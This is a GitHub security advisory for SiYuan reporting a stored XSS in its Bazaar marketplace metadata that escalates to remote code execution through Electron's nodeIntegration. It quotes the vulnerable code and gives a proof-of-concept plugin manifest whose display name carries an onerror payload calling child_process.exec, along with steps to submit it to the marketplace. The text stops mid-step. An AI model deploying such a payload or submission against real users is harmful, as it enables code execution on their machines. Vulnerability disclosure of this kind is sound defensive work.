GitHub Security Advisory: GHSA-mvpm-v6q4-m2pf
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.0.0[PII_REDACTED]2524-fe4523fff2c8
Patched in: 0.0.0[PII_REDACTED]2524-fe4523fff2c8

Summary: SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Details:
# Stored XSS to RCE via Unsanitized Bazaar Package Metadata

## Summary

SiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.

## Affected Component

- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`
- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)

## Affected Versions

- SiYuan <= 3.5.9

## Severity

**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

## Vulnerable Code

In `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:

```typescript
// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}

// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
    ${item.preferredDesc || ""}  <!-- UNESCAPED HTML -->
</div>
```

The inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at `app/electron/main.js:422-426` is configured with:

```javascript
webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}
```

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.

## Proof of Concept

### Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:

```json
{
    "name": "helpful-productivity-plugin",
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    },
    "description": {
        "default": "Boost your productivity with smart templates"
    },
    "version": "1.0.0",
    "author": "attacker",
    "url": "https://github.com/attacker/helpful-productivity-plugin",
    "minAppVersion": "2.0.0"
}
```

### Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

### Step 3: Zero-click RCE

When **any** SiYuan desktop user navigates to **Settings >